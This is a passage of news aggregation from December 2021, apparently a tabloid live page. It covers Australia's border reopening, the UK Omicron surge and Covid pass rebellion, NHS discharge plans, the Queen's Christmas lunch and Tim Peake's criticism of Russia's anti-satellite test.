sudden intense spotlight on her personal life. 'She just wants to go back to being a mum to her two girls,' a friend of the family said. The 36-year-old spoke publicly to deny reports she was hoping to launch a fashion label off the back of her newfound fame. The 36-year-old spoke publicly only to deny reports she was hoping to launch a fashion label off the back of her newfound fame Mr Aitken and his wife Ellie had been long-time friends of the Nasser's, and Mr Nasser was a director of the Aitken's wealth management company Ms Nasser, who is a qualified psychologist and a well known socialite in Sydney's east, said she had no interest in becoming a designer. Word of her relationship with Mr Aitken spread quickly through their tightknit circles on the eastern suburbs of Sydney last month, 'horrifying' some who had been friends with both couples for years. Mr Aitken issued a public statement confirming he'd separated from his wife and was now dating Ms Nasser. Since confirming their romance, the couple have reportedly been trying to lay low for the sake of their former partners and children. 'They're very happy,' a friend of the couple said. 'They'd known each other and been friends a long time before this.' Just five years ago, Mr and Ms Nasser were happily married in a lavish ceremony at St Mary's Cathedral, the new bride happily announcing they'd spend the rest of their lives together After three weeks of intense public interest, Ms Nasser and Mr Aitken were seen for only the second time together on Monday, when he arrived at her home to pick her up. The pair shared a quick kiss as Mr Aitken held open the passenger side door of his white Mercedes. Meanwhile, their former significant others are said to be 'reeling' from the revelation and were 'totally blindsided' when they learned of the relationship back in November. An overjoyed father was so excited to see his daughter for the first time after being separated from his pregnant wife as Australia's border slammed shut, that he jumped a barrier at the airport. The young dad was waiting at Melbourne Airport arrivals on Wednesday when he spotted his wife pushing their 18-month-old daughter through the gate in a pram after they stepped off a flight from China. He couldn't contain his joy as he jumped the fence and lowered his mask so his daughter could see his face before repeating 'papa' to the toddler. The man had never met his daughter before as the family had been separated by Australia's hard border since the early days of the Covid pandemic. A dad jumps the barrier at Melbourne Airport to meet his 18-month-old daughter face-to-face for the first time. Shes just arrived from China with his wife. pic.twitter.com/cSztNtio1T Paul Dowsley (@paul_dowsley) December 14, 2021 A man jumps the barrier at Melbourne Airport on Wednesday to meet his 18-month-old daughter for the first time as she and her mother arrive from China (pictured) From Wednesday, visa holders including skilled migrants and international students were able return to Australia and travel bubbles with Japan and South Korea began. For 28-year-old Shivangi Dhawan in India, who has been separated from her husband Rahul for two years, the announcement was a welcome relief. 'The feeling is out of this world. My partner's call (this morning) made me burst into tears of joy,' Ms Dhawan told SBS Punjabi on Tuesday. Rahul and Shivangi Dhawan (pictured) will be reunited on December 19 after Shivangi bought her plane ticket to enter Australia 'As soon as the announcement was made this morning, I booked my flight for 19 December. We will celebrate Christmas in Australia together.' Rahul and Shivangi got married in February 2020 and Ms Rahul returned to India for what was supposed to be a one-month trip to finish up her work. Just a week after she left on March 20, Australia's international border slammed shut and she has been locked out of the country since. Prime Minister Scott Morrison earlier this week confirmed his two-week pause on Australia's international reopening would end as scheduled. The border was due to open on December 1, but because of the threat of the new Omicron strain of Covid-19, this was pushed back. Victoria reported 1,405 new Covid cases on Wednesday - up from 1,189 the previous day. The rise in cases is the highest in almost two weeks. There were 1,409 new infections on December 2. From Wednesday, visa holders can enter Australia (pictured) without having to quarantine after a two week pause on international travel Despite the rising number of Omicron cases, Doherty Institute infectious diseases expert Sharon Lewin said the rise in case numbers was not unexpected. 'It is a balance between how much activity there is and how much chance of exposure and how much protection there is,' Professor Lewin told the ABC the week. 'I don't think it is anything to be panicked about, it was what we expected.' With the border flung open from Wednesday, more than 230,000 visa holders and 133,000 students are expected to touch down in the country. Visa holders must be vaccinated, and return a negative Covid test 72 hours before arrival. Arrivals at Melbourne Airport on Wednesday as the international border is once again opened (pictured) The PM singled out Australia's education and tourism ties with South Korea during a visit by that country's president Moon Jae-in to Canberra this week. Mr Morrison said he looked forward to welcoming back about 20,000 Korean students who usually come to Australia to study. 'The borders will be reopened both to Korea and to Japan, and for skilled migration and for students, as we conclude the pause that we announced several weeks ago,' he told reporters on Monday. Mr Moon hoped the travel bubble would lead to a greater exchange and economic revitalisation between the two nations. 'For Korean people who are fully vaccinated, I appreciate that the Australian government will grant a quarantine-free entry starting from December 15,' he said. Health Minister Greg Hunt said he agreed with the border reopening and was encouraged by evidence showing Omicron led to a milder illness despite being more transmissible. Families and friends were reunited (pictured) on Wednesday with some having been separated for almost two years He indicated the government would make further changes to its booster program if recommended by the Australian Technical Advisory Group on Immunisation. 'That could turn out, as many international sources have indicated, to be a quietly positive development for the world,' Mr Hunt said. Wednesday also marks the reopening of Tasmania's border, with fully vaccinated travellers able to enter the state. People entering Tasmania from certain high-risk areas must return a negative Covid test in the 72 hours before they arrive. Unvaccinated people will still need to apply for a travel exemption to enter. Virus restrictions relaxed from Wednesday in NSW, with the unvaccinated now able to enter retail and hospitality businesses. The ban on unvaccinated people was to end on December 15 or when NSW hit a 95 per cent vaccination, whichever came first. In NSW, 92.3 per cent of residents 16 and over are vaccinated along with 89.5 per cent of the overall Australian population. Advertisement More than 1million people in the UK are likely to be isolating with Covid on their own on Christmas Day, the latest data suggests. England's chief medical officer Professor Chris Whitty warned the Cabinet during an update on Tuesday that the new Covid variant was spreading 'unbelievably fast'. According to official estimates, the speed at which the Omicron variant is spreading means that four times more people are likely to be isolating with Covid this Christmas than last December 25, when household mixing was banned across much of the country and a third national shutdown was imminent. Anyone becoming ill from today onwards will still be in the required ten-day isolation period on Christmas Day. Yesterday there were more than 4,700 confirmed Omicron cases, and Ministers claim the number is doubling every two days. At this rate, almost 100,000 people will be confirmed with Omicron on Christmas Eve, and around 1million will be isolating the next day. Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it spreads so easily meant 'it still has the potential to overwhelm the NHS'. He told Ministers that modellers believe Omicron cases may already be running at '200,000 a day' and 'doubling every two to three days'. However, some experts have cast doubt on the figure, which is far higher than the official Covid total and which is based on disputed mathematical modelling. Downing Street insisted the projection was 'valid'. Prof Whitty also warned Ministers that astronomical infection rates will spark staff shortages in pubs, restaurants and shops sparking concerns of a repeat of the so-called 'pingdemic' that led to the shutdown of whole swathes of the economy over the summer. He also said the wave would trigger a 'significant increase in hospitalisations'. Scary Government modelling predicted that hospital admissions could exceed levels seen during the January lockdown, when 4,000 infected patients were needing medical care every day. In response, NHS bosses yesterday ordered hospitals to discharge as many patients as possible off wards and into care homes. Prime Minister Boris Johnson told the Cabinet on Tuesday that a 'huge spike in Omicron is coming' and warned a 'huge spike' in the variant was coming. Public health officials warned that restrictions could last up to eight weeks. Omicron has become dominant in London, with the capital's Covid infection rate spiralling by 55 per cent in two weeks to 537 cases per 100,000 people the highest level since January, when stringent curbs were in place. Hospitalisations have risen by 50 per cent over the same period, from 90 to 140 admissions a day. Though deaths are currently flat, it can take up to a month for fatalities to start rising due to time it takes to fall seriously ill. However, the first major real-world study of the variant conducted in South Africa has found that Omicron is causing a third fewer hospital admissions than the Delta variant. The study also found that just two doses of the Pfizer vaccines provides 70 per cent protection against severe illness. It came as new restrictions were approved in Parliament on Tuesday evening, including the requirement to wear face coverings at more indoor spaces in England, and the introduction of NHS Covid passes for access to nightclubs and large venues. On another day of Covid chaos: The Omicron variant has become dominant in London barely two weeks after it was first detected, health chiefs revealed today; But Omicron is causing milder disease than Delta in patients in the epicentre of the new Covid variant, the first major real-world study in South Africa confirmed; Dr Susan Hopkins, chief medical adviser at the UK Health Security Agency, said vaccine passports, WFH and other curbs will be needed for 'the next four to eight weeks' to prevent the NHS from being 'overwhelmed' by the Covid variant; Sajid Javid and his top health advisers were today accused of scare-mongering after clarifying that gloomy models do estimate that 200,000 Britons could be catching Omicron every day; Nicola Sturgeon re-introduced social distancing and asked Scots to cut down on socialising in the run up to Christmas today; Care bosses have warned homes will not have enough staff to deal with NHS orders for hospitals to discharge as many patients as 'soon as practically possible' to handle the expected Omicron surge; Mr Javid today confirmed all countries will be removed from the Government's international travel red list from 4am tomorrow because Omicron is already running rampant in the UK; A new super-variant could be created if Omicron and Delta infect someone at the same time, one of Moderna's bosses has warned; The Department of Health reported 59,610 overall coronavirus cases in the past 24 hours, up more than 30 per cent in a week and the highest number since the peak of the second wave on January 9. Daily deaths were down 17 per cent in a week with 150 victims today, while latest hospital data shows there were 793 last Friday, up 11 per cent. England's chief medical officer Professor Chris Whitty warned the Cabinet during an update on Tuesday that the new Covid variant was spreading 'unbelievably fast' BRISTOL: People desperate to get a booster jab before Christmas queued up in a snaking line over a car park. Many are facing up to three hour waits to get their top-up doses Fears of fresh Omicron restrictions within DAYS: MPs could be forced to work through Christmas to approve new lockdown rules if Plan B fails to halt cases surging at year-high '200,000 a DAY' - as Chris Whitty warns pubs and restaurants may have to SHUT Fresh Covid restrictions could be imposed within days as Ministers put plans in place to recall Parliament during Christmas if cases of the Omicron variant hit 1million a day by the New Year. MPs could be forced to approve new lockdown rules for January if the Government's Plan B fails to stop a 'tidal wave' of Omicron cases 'overwhelming' the NHS. Prime Minister Boris Johnson told the Cabinet during a Covid update on Tuesday that a 'huge spike in Omicron is coming', while England's chief medical officer Professor Chris Whitty warned that Britain was facing a 'significant increase in hospitalisations'. NHS bosses ordered hospitals to discharge as many patients as possible off wards and into care homes and even hotels after 'doomsday' Government modelling warned that admissions could exceed levels seen during the second wave last January, when 4,000 infected patients were needing medical care every day. Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it spreads so easily meant 'it still has the potential to overwhelm the NHS'. He told Ministers that modellers believe Omicron cases may already be running at '200,000 a day' and 'doubling every two to three days'. However, some experts have cast doubt on the figure, which is far higher than the official Covid total and which is based on disputed mathematical modelling. Downing Street insisted the projection was 'valid'. Prof Whitty also warned the Cabinet that astronomical infection rates will spark staff shortages in pubs, restaurants and shops sparking concerns of a repeat of the so-called 'pingdemic' that led to the shutdown of whole swathes of the economy over the summer. Former Tory chief whip and leading rebel Mark Harper said Mr Johnson should recall Parliament if there are moves to reimpose curbs. Advertisement With almost 100 Conservative MPs voting against the mandatory passes measure, Mr Johnson suffered the largest rebellion of his premiership in the Commons and his authority has come under question. But the majority backing for the new rules was welcomed by NHS Providers chief executive Chris Hopson, who said they 'should help slow the spread of the virus and help ease pressure on the NHS as we head into what is set is to be our most difficult ever winter'. Earlier, the Prime Minister had thanked NHS workers for their 'incredible efforts' and called for their help in delivering the 'biggest, fastest vaccination drive this country has ever seen'. In the letter, published on Twitter, Mr Johnson acknowledged that while healthcare staff are 'tired and weary', they know 'how critical it is that we get Britain boosted, and fast'. In an advert which aired on ITV on Tuesday evening, England's chief medical officer Professor Chris Whitty said every adult 'needs' to get a booster jab in the face of the 'highly infectious' variant. He told viewers: 'Boosters give you the best possible protection against the virus and should significantly reduce your risk of serious illness and hospitalisation.' The NHS national booking system opened up to all over 18s on Wednesday, and while people are eligible for a booster three months after their second vaccine they can book after two months. It marks the NHS meeting its objective to offer every eligible adult a chance to book a booster before the New Year. The World Health Organisation's director-general Dr Tedros Adhanom Ghebreyesus warned people they underestimate coronavirus at their peril, as he voiced concerns the Omicron variant is being dismissed by some as 'mild'. In Scotland, people have been urged to limit their mixing by socialising with only up to two other households indoors either side of Christmas. Meanwhile in Northern Ireland, politicians also backed mandatory Covid certification regulations for patrons wishing to access nightclubs, pubs, restaurants and other licensed premises. In Wales, the public was told to prepare for more restrictions in the coming weeks, but the nation's health minister insisted politicians do not want to 'cancel Christmas'. From 4am on Wednesday, hotel quarantine for travellers arriving in England is abandoned, with all 11 countries on the red list removed because the spread of Omicron in the UK was deemed to mean the measure to prevent cases being imported was less effective. Other measures under the Government's Plan B also cleared the Commons, including to drop the requirement to isolate and instead do daily Covid tests for those fully vaccinated people who are contacts of a positive Covid case. MPs also approved mandatory vaccinations for NHS and social care staff by April 2022 and the requirement to wear face coverings to more indoor spaces in England - including museums and galleries. Some 369 MPs backed the move to introduce Covid passes - which have also been known as vaccine passports - in large venues, giving a majority of 243. But the division list showed 96 Conservative MPs voted against. Two Tory MPs also acted as tellers for the noes. Eight Labour MPs, 10 Liberal Democrats, six DUP, Green Party MP Caroline Lucas and Independent MPs Jeremy Corbyn and Rob Roberts also opposed the regulations, according to the list. The measures will mean people will have to prove that they are either fully vaccinated or have had a recent negative coronavirus test before they can go to nightclubs and large venues. Before Tuesday, the biggest rebellion Mr Johnson had faced was in December 2020, against the strengthening of Covid-19 tier restrictions in England. Then, a total of 55 Conservative MPs voted against the Government. This includes the two MPs who acted as tellers for the noes. The list of those who voted against included the newest Tory MP Louie French, who was elected in the Old Bexley and Sidcup by-election and has been in the Commons for less than two weeks. Labour leader Sir Keir Starmer said it was a 'very significant blow to the already damaged authority of the Prime Minister' who he said was now 'too weak to discharge the basic functions of Government'. He stopped short of explicitly calling for Mr Johnson to resign, but said: 'The Prime Minister needs to take a long, hard look at himself and ask himself whether he has the authority to take this country through the pandemic.' 'Boris is in danger': Senior Tory MP Sir Geoffrey Clifton-Brown warns Prime Minister will face a leadership challenge next year unless he stabilises his premiership after HUGE revolt over Covid passes A senior Tory MP has warned Boris Johnson he will face a leadership challenge next year unless the Prime Minister stabilises his premiership after he suffered a huge revolt over Covid passes. The House of Commons voted by 369 to 126 in favour of Mr Johnson's plan to make the documents mandatory for nightclubs and other large venues in England. But 98 Conservative MPs rebelled to vote against the measure, inflicting a hammer blow on Mr Johnson's authority. Sir Geoffrey Clifton-Brown, the treasurer of the 1922 Committee of Tory MPs, said this evening that the vote showed there is a 'major division' within the Conservative Party and 'we all know what happens to disunited parties'. Sir Geoffrey said there must be a 'major change' in the way Mr Johnson leads the Government, as the backbencher said the PM 'has got to now be in some danger and he has got to realise that'. The MP said that unless Mr Johnson gets his leadership back on track then 'some members of the party will be thinking to themselves we have got to have a change' with a leadership contest 'on the cards' next year. Advertisement He added: 'I think it's very important to understand how deep the breach of trust is between the Prime Minister and his own party.' Shadow health secretary Wes Streeting said that Mr Johnson's authority was 'shattered'. He told Sky News: 'That is an extraordinary, extraordinary rebellion. The Government has lost its majority. I think the size of that vote is a reflection of the shattered authority of Boris Johnson. 'He is undermining public health at a critical moment for our country. I think he has got to ask himself if he is the right man to lead our country through the next phase of the pandemic.' Sir Charles Walker, the vice-chairman of the backbench 1922 Committee, said the rebellion by Tory MPs over Covid passes was a 'cry of pain' by the party. He told BBC News: 'This was just a bridge too far. I think they were putting a marker down. It was a cry of pain from the Conservative Party. He (Boris Johnson) is in a very, very, very difficult position. There has been a strong view in within the Conservative Party that vaccine passports do not work and is not something many colleagues wanted to see introduced. This is a very, very specific line being drawn in the sand now and I think the Prime Minister and his team need to listen.' But there are concerns among senior government figures that the Conservative Party increasingly looks divorced from public opinion, which has been in favour of Covid restrictions throughout the pandemic. 'Tory MPs and activists are a lot more libertarian than the public. There is a problem,' one aide told MailOnline. The new measures approved in Parliament have been welcomed by NHS Providers chief executive Chris Hopson. He said: 'These new restrictions should help slow the spread of the virus and help ease pressure on the NHS as we head into what is set is to be our most difficult ever winter.' On face coverings, he said the requirement in more indoors settings is a 'small price to pay as we seek to curb the spread of Covid-19'. He added: 'MPs also voted today to make Covid-19 vaccinations mandatory for frontline health and care staff from April onwards to protect colleagues, patients and visitors from coronavirus. 'While there are inherent risks in introducing mandatory vaccinations, trusts are redoubling their efforts to increase voluntary take up efforts within their teams, having individual discussions with hesitant staff, and rolling out initiatives, such as education campaigns, to drive up vaccination rates.' Whitehall officials have drawn up proposals to limit the number of people allowed in pubs and restaurants, according to The Sun. There are also contingency plans to bring back furlough and support for businesses if tougher restrictions are needed. However, the options are causing alarm inside the PM's top team as well, with Jacob Rees-Mogg insisting on his regular podcast that the country must 'learn to live' with coronavirus. Earlier, Mr Johnson had addressed the 1922 Committee to try and convince them to back his plans. And he had been individually speaking to those who had publicly said they would oppose the measure earlier in the day. Meanwhile, in a letter to healthcare providers published late last night, NHS England said all patients in hospital beds should be discharged now if it is 'safe' to do so to make room for Omicron patients. Nurses are being flown in from Spain and Greece to offer temporary assistance at hotels that are being converted into care sites over Christmas to help deal with the oncoming crisis, it was also revealed today. But the NHS guidance did not stipulate how exactly patients would be deemed 'medically fit' enough to be discharged, leaving the decision in the hands of medics. And there are fears returning elderly patients to care homes could put others at risk after former Health Secretary Matt Hancock's decision not to test all residents before they were discharged last year was blamed for the deaths of thousands. Care England, which represents the biggest private chains, told MailOnline the NHS must ensure all patients are 'properly tested' this time round and warned more staff are needed at some homes to make the scheme work. The above maps show areas where the Omicron Covid variant has been detected in England over the two weeks to November 20 (left), and to December 4 (right). Areas where the variant has been detected are not coloured yellow. It shows how it has gone from just one local authority, to about half of the country. Areas with darker colours have detected more cases The above graph shows the seven-day average for hospital admissions in different regions of England. It reveals that in London (orange) there has been a steady increase This graph shows the Covid infection rate per 100,000 people in England's regions. It also shows there has been a rapid uptick in London (red) while cases remain largely flat in other regions The above graph shows how Omicron cases are rising across England's regions. PCRs search for three specific genes to tell whether someone has Covid, but with Omicron one of the genes is so mutated - the S-gene - that it does not show up with the tests. Cases with this gene missing are coloured purple above, with the graph showing their numbers quickly increasing The above graph shows the proportion of cases detected that did and did not have a confirmed S-gene. PCRs search for three specific genes to tell whether someone has Covid, but with Omicron one of the genes is so mutated - the S-gene - that it does not show up. This allows scientists to quickly tell which cases are likely Delta (green) and Omicron (purple) Omicron is causing up to a THIRD fewer admissions than Delta and two Pfizer jabs still slash death risk of severe disease by 70% Omicron is causing milder disease than Delta in patients in the epicentre of the new Covid variant, the first major real-world study in South Africa confirmed today. Officials who analysed 78,000 Omicron cases in the past month estimated the risk of hospitalisation was a fifth lower than with Delta and 29 per cent lower than the original virus. As a crude rate, Omicron is currently leading to a third fewer hospital admissions than Delta did during its entire wave 38 admissions per 1,000 Omicron cases compared to 101 per 1,000 for Delta. The findings lend weight to the theory that the ultra-infectious variant is weaker than previous strains, something which doctors on the ground in South Africa have been claiming for weeks. But the reduction in severity is probably not solely down to Omicron being intrinsically milder, according to the South African Medical Research Council which led the analysis. Around 70 per cent of South Africans have recovered from Covid already and 23 per cent are double-vaccinated, which has created high levels of immunity. The finding will raise hopes that the UK's Omicron wave will be less severe than previous peaks, despite having an older and denser population. Unlike South Africa, the UK is rolling out booster jabs on a mass scale. The study also found two doses of Pfizer's vaccine still provide 70 per cent protection against hospital admission or death from Omicron, compared to 93 per cent for Delta. While this is more protection than many scientists initially feared, it still leaves 30 per cent of people vulnerable to severe Omicron disease, four times as many as Delta. Waning immunity from two Pfizer doses was found to offer just 33 per cent protection against Omicron infection, explaining why the country has seen a meteoric rise in case numbers. Advertisement It comes after Sajid Javid admitted even urgent operations may have to be cancelled in order to ramp up No10's booster drive, which aims to offer a vital third dose to all adults by the end of the month. Ministers have already warned anyone wanting to see their family doctor face-to-face for a 'routine' appointment will be forced to wait until the New Year so GPs can focus on delivering booster jabs. Doctors called for clear messaging on what is considered 'urgent', telling patients not to come in with rashes or common colds. Cancer charities and patients' rights groups today slammed the policy as a 'hammer blow' for those needing care, adding delays in seeing a GP can mean diagnoses are missed in the vital early stages of the disease. MacMillan said it fears the pivoting of the NHS to prioritising Covid will have 'unintended consequences'. The NHS surgery backlog is already at a record high of nearly 6million, with the crisis fuelled by hospitals being forced to cancel tens of thousands of operations during the pandemic. Critics accused the NHS of having transformed into the 'National Covid Service' in the early days of the outbreak, sacrificing other elements of health care. Meanwhile, the Omicron Covid variant spreading at a ferocious pace in the UK has become dominant in London barely two weeks after it was first detected, health chiefs revealed today. Professor Kevin Fenton, the capital's director of public health, said data suggested the super-strain was already behind at least one in every two new infections in the city, up from 44 per cent just yesterday. As the country's major transport hub, London quickly became England's Omicron epicentre after South Africa first raised the alarm on November 24. It is thought to have been seeded in the capital by travellers flying into the UK. The capital's Covid infection rate has spiralled to its highest level since January when stringent curbs were in place, rising 55 per cent in a fortnight from 347 to 537 cases per 100,000 people. And hospitalisations in the city have risen by 50 per cent over the same period, from 90 to 140 admissions a day on average. Deaths remain flat but it can take up to a month for fatalities to start rising due to the time it takes to fall seriously ill. Scientists and health leaders today called for tighter pandemic restrictions to help hold the Omicron case tsunami at bay, stating the beleaguered Covid booster programme will not be enough. Experts called for compulsory mask wearing, social distancing enforcement in the hospitality sector, and for Britons to dramatically reduce the number of people they meet in person. The experts were giving evidence to MPs from All-Party Parliamentary Group on Coronavirus today. British Medical Association chair Chaand Nagpaul was one of those who called for great restrictions. 'It makes no sense that staff in hospitality don't need to wear a mask, a waiter serving customers in a crowded restaurant is just as able to transmit the virus. Make that mandatory now,' he said. 'Have specifications on physical distancing, having a restaurant, or a club, or a bar, or a pub with people crowded next to each other doesn't make sense. 'You have to have a policy that is not just about boostersthat does mean going further than some of the restrictions in Plan B.' SAGE advisor and professor psychology Stephen Reicher also argued that boosters will not be enough to stem the Omicron tide. 'We need to get cases down now, while we all agree we need to get boosters, number one it will take a number of weeks to give people those boosters, number one it will take a couple of weeks for the effect of those boosters to kick in and if we were to do nothing now by the then the cases will be catastrophically high,' he said. Katherine Henderson, president of the Royal College Emergency Medicine said her biggest worry was the focus on the Covid booster programme would drag much needed clinical staff away from hospital wards. 'It isn't like we've got a whole load of blow-up vaccinators in a cupboard somewhere that we've been keeping on standby for this situation,' she said. Officials who looked at 78,000 Omicron cases in the past month found t he risk of hospitalisation was a fifth lower than with Delta (in green) and 29 per cent lower than the original virus (dark blue). Omicron is shown in brown and the original South African 'Beta' variant in light blue. Children appeared to have a 20 per cent higher risk of hospital admission with complications during the new wave than the initial outbreak, despite the numbers still being tiny As a crude rate, Omicron is currently causing a third fewer hospital admissions than Delta did during its entire wave 38 admissions per 1,000 Omicron cases, compared to 101 per 1,000 for Delta The study also found that two doses of Pfizer's vaccine still provides 70 per cent protection against hospital admission or death from Omicron, compared to 93 per cent for Delta Waning immunity from two Pfizer doses was found to offer just 33 per cent protection against Omicron infection, explaining why the country has seen a meteoric rise in case numbers NHS in crisis mode as it orders hospitals to empty 'as many patients as possible' into care homes, hospices or HOTELS NHS bosses have ordered hospitals to discharge as many patients as possible off wards and into care homes and even hotels to handle the predicted Omicron surge. In a letter to healthcare providers published late last night, NHS England said all patients in hospital beds should be discharged if it is 'safe' to do so. Hospitals are on red alert in the wake of shocking modelling by Government scientists that warned admissions could exceed levels seen during the darkest days of the nation's second wave last January, when 4,000 infected patients were needing medical care every day. Nurses are being flown in from Spain and Greece to offer temporary assistance at hotels that are being converted into care sites over Christmas to help deal with the oncoming crisis, it was also revealed today. But the NHS guidance did not stipulate how exactly patients would be deemed 'medically fit' enough to be discharged, leaving the decision in the hands of medics. And there are fears returning elderly patients to care homes could put others at risk after former Health Secretary Matt Hancock's decision not to test all residents before they were discharged last year was blamed for the deaths of thousands. Care England, which represents the biggest private chains, told MailOnline the NHS must ensure all patients are 'properly tested' this time round and warned more staff are needed at some homes to make the scheme work. It comes after Sajid Javid admitted even urgent operations may have to be cancelled in order to ramp up No10's booster drive, which aims to offer a vital third dose to all adults by the end of the month. Advertisement And Elaine Thorpe, an Intensive Care Unit matron at University College London Hospitals NHS Foundation Trust told MPs that staff were already dreading what was to come. 'You can see it in the eyes of the doctors and the nurses and the physios, they are terrified of having to do that again,' she said. Nationally, Omicron is behind one in every five cases but is expected to outstrip Delta before the New Year. For comparison, it took Delta almost two months to take over from the Alpha variant. Omicron is also spreading very quickly in Scotland and South Northamptonshire, data shows. A spokesman for London's mayor suggested today they would back controversial local lockdown restrictions in the capital, saying it was better to 'act now' rather than wait for the virus to spiral out of control. But Tory representatives called on ministers to rely on 'strong vaccine protection' and ramp up the booster drive, rather than curb people's daily lives. Nicola Sturgeon today told Scots they could no longer mix in groups bigger than three households, and said social distancing was to return in shops and pubs because of surging Omicron numbers there. But the First Minister said the rule would be relaxed for Christmas Day and there was no reason to cancel plans. The surging cases in the capital and calls for more restrictions have echoes of last winter when London was the first place to be locked down in the run up to Christmas. It comes as a major study today suggested that two doses of Pfizer's vaccine still provides 70 per cent protection against hospital admission and death from Omicron, compared to 93 per cent for Delta. The first real-world study in South Africa also estimated the risk of hospitalisation was a fifth lower than with Delta and 29 per cent lower than the original virus. The findings lend weight to the theory that the ultra-infectious variant is weaker than previous strains, something which doctors on the ground in South Africa have been claiming for weeks. It comes as Nicola Sturgeon re-introduced social distancing and asked Scots to cut down on socialising in the run up to Christmas today. Pubs, restaurants and shops will have to take measures to avoid crowding and queues, the First Minister told Holyrood. Additionally she asked Scots to limit indoor mixing to just three households. While the advice will not be enforceable in law, Ms Sturgeon announced that allowing staff to work from home where possible will again become a legal duty on employers. Ms Sturgeon confirmed that she was not seeking to put restrictions on festive events at Christmas itself, although she added that 'keeping your celebrations as small as family circumstances allow is sensible'. 'My key request today is this: before and immediately after Christmas, please minimise your social mixing with other households as much as you can,' she told the Scottish Parliament. 'However, if you do plan on socialising, either at home or in indoor public places, we are asking that you limit the number of households represented in your group to a maximum of three. And make sure you test before you go.' She also lashed out at Boris Johnson, complaining that it was 'not acceptable' that there was no additional funding yet available from the UK Government to support businesses affected by the measures she is introducing. The changes - which could well be followed by similar moves in Wales - will further increase the pressure on Boris Johnson in England, with London, like Scotland, an omicron hotspot. Calls have been made for the introduction of further restrictions in the capital, with the super mutant variant now responsible for half of cases. The city is still the region of England with the fastest-growing Covid outbreak, according to Government data, with cases growing by up to 48 per cent a week in the worst-hit boroughs. NHS leaders said No10 needs to be prepared to introduce stricter curbs than the current Plan B if Omicron is on the brink of overwhelming the NHS. Mr Johnson warned his Cabinet this morning that a 'huge spike' of Omicron is coming, according to Downing Street. Dominic Raab risked inflaming the tensions in interviews as he dismissed 'overstated' criticism about the measures to combat the Omicron strain. Ministers are said to be examining plans for a further round of restrictions in England that would push it closer towards a lockdown and are sure to watch Ms Sturgeon's announcement with interest and trepidation. Meanwhile Britain's booster drive to beat the Omicron super-variant has been mired in chaos after more than 4.4million attempts were made to book top-up shots on the NHS website and furious GPs warned they had run out of doses. Health chiefs said 545,000 appointments were secured by 8pm last night, even after the website crashed because so many people logged on. This morning Britons were stuck in up to an hour long queues. But GPs complained they would not have enough jabs for everyone after being given until 9am to order stocks to meet Boris Johnson's December 31 'boosted or bust' deadline. The Queen will host the annual Royal Family Christmas lunch on Tuesday despite fears over the Omicron Covid variant, sources have revealed. The 95-year-old monarch is pressing on with the event at Windsor Castle, which is expected to welcome 50 or so relatives, including Prince Charles and Camilla. And while three of her four new grandchildren - August, Lucas and Siena - are expected to attend, Prince Harry and Meghan Markle, and their son Archie and newborn Lilibet, also born this year, will remain in the US. The Queen's late husband Prince Phillip will also be noticeably absent, in what will be her first Christmas without him in 73 years after he died in April aged 99. The Queen's annual Christmas lunch, usually held at Buckingham Palace, had to be called off last year when tougher restrictions were brought in amid the surge of the Delta Covid strain. But moves to cancel the event this year are reportedly being resisted. One day after the festive party, which will feature wine, crackers and a feast, the Queen will travel by helicopter to Sandringham in Norfolk, where she will spend Christmas itself. The monarch is pressing on with the event at Windsor Castle, which is expected to welcome 50 or so relatives, including Prince Charles and Camilla. (Pictured: The Queen at Ascot in October this year) The annual Christmas lunch will be held at Windsor Castle (pictured) this year, instead of the usual Buckingham Palace Pictured: The Prince of Wales is joined by the Duke and Duchess of Cambridge and their children at the Church of St Mary Magdalene on December 25, 2019 The Royal Family will later join her there on Christmas Eve and gather on December 25, as is tradition, before visiting St Mary Magdalene Church. A source told the Sun: 'Currently it is going ahead but obviously it will be under review right up until the last moment.' The Queen is currently residing in Windsor Castle, where she remains on 'light duties' following multiple health scares in recent weeks. An insider added: 'It is Windsor Castle so it will be pretty easy to socially distance if needed. 'There is no way the Queen wants to let anything get in the way of a family event like this. 'Particularly with the year she has had after losing her husband and being forced to go on light duties on doctor's orders. 'It will likely be the first time so many family members have been together since Philip's funeral. 'But obviously everyone must act responsibly and things can change in a short period of time but as it stands they're all set for Tuesday.' The Queen is set to enjoy a new normal Christmas this year (Pictured in Sandringham with Prince Andrew in January 2020) The Royal Family will join the Queen at Sandringham (pictured) on Christmas Eve and gather on December 25, as is tradition, before visiting St Mary Magdalene Church An ITV film crew recorded the Queen's Christmas Day address several weeks ago. The Mail reported last week that palace aides were also exploring options for the monarch to appear in public in the run up to December 25 to wish the country a very happy Christmas. Although photographs and videos have been released by Buckingham Palace of the sovereign undertaking in-person and virtual audiences with foreign ambassadors, dignitaries and the Prime Minister, all meetings have taken place behind palace walls. The hope is that the Queen will be well enough to take part in a short public engagement in the castle grounds. Her appearance will be seen as a 'small shot of joy' in difficult times. 'It won't be a normal Christmas, but like many families around the country, it will be as normal as it can get,' a source said. The Queen was last seen in public at a Windsor Castle reception on October 19. The next day, she cancelled a trip to Northern Ireland and was taken to hospital overnight for undisclosed 'preliminary tests'. She was ordered to rest for several weeks and since then has undertaken a small number of low-key engagements, including recording a video message for the Cop26 summit. A British astronaut has blasted Russia's 'reckless' destruction of one of its satellites causing a storm of debris to strike the International Space Station. Major Tim Peake, who previously spent six months inside the ISS, said fragments of metal from the explosion risked a 'catastrophic impact' and could endanger lives. Last month, in a frightening display of intent, Russia fired a missile into space to deliberately blow up a redundant satellite. The Kremlin's intention was seemingly to send a message that it could destroy Western satellites at will. The Nudol anti-satellite missile launched from an aerodrome in northwest Russsia struck the Kosmos-1408 satellite on November 15th. The blast sent debris speeding through space towards the ISS, causing astronauts to take emergency measures. NASA also cancelled its planned activities in space as astronauts waited for the storm of debris to pass. Major Tim Peake (pictured), who previously spent six months inside the ISS, said fragments of metal from the explosion risked a 'catastrophic impact' and could endanger lives Giving evidence to MPs on the House of Commons Defence Committee, Major Peake, who was the first British astronaut to walk in space, said: 'We were shocked by that Russian anti-satellite test, in particular the recklessness of introducing so much space debris into a low earth orbit where it will have an impact for a number of years. 'Space is becoming more contested and what Russia did was against the existing space treaties. Our critical national infrastructure is dependent on the space environment. We have to protect our assets and look at this sort of behaviour. It is going to require a lot of diplomacy to ensure space is used responsibly. 'Hundreds of thousands of small pieces of debris are travelling extremely fast, the more pieces of debris that our introduced, the greater the risk of an impact that could be catastrophic. The increasing militarisation of space does cause friction. Russia would also rather engage with China [rather than the West] in its space programmes.' Major Peake added the Russian missile test showed that 